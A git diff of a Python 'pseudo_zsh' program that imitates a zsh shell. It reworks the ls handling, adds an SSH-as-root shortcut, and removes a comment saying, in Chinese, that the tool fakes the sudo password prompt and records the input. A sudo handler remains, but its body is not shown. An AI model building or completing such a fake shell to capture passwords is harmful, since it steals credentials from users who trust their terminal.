diff --git a/main.py b/main.py index dd7c09e..e2023a1 100644 --- a/main.py +++ b/main.py @@ -61,7 +61,6 @@ def pseudo_zsh(): if not args: # 如果输入为空,跳过本次循环 continue - # 实现简单的 cd 命令 if args[0] == 'cd': try: os.chdir(args[1]) # 切换到指定目录 @@ -75,24 +74,15 @@ def pseudo_zsh(): print(f"cd: no such file or directory: {args[1]}") # 目录不存在 continue if args[0] == 'ls': - try: - if len(args) == 1: - args.append('-l') # 默认参数 - subprocess.run(['ls'] + args[1:]) # 执行 ls 命令 - except FileNotFoundError: - print(f"zsh: command not found: {args[0]}") - - if args[0] == 'll': - try: - if len(args) == 1: - args.append('-l') # 默认参数 - subprocess.run(['ls'] + args[1:]) # 执行 ll 命令 - except FileNotFoundError: - print(f"zsh: command not found: {args[0]}") - - - # 伪造 sudo 密码输入并记录 - + if len(args) == 1: + args.append('-l') # 默认参数 + subprocess.run(['ls'] + args[1:]) # 执行 ls 命令 + if args[0] == 'l': + if len(args) == 1: + args.append('-l') + subprocess.run(['ls'] + args[1:]) + if args[0] == 'ssh1': + subprocess.run(['ssh','root@10.147.17.161']) if args[0] == 'sudo': flight1 = True a = 0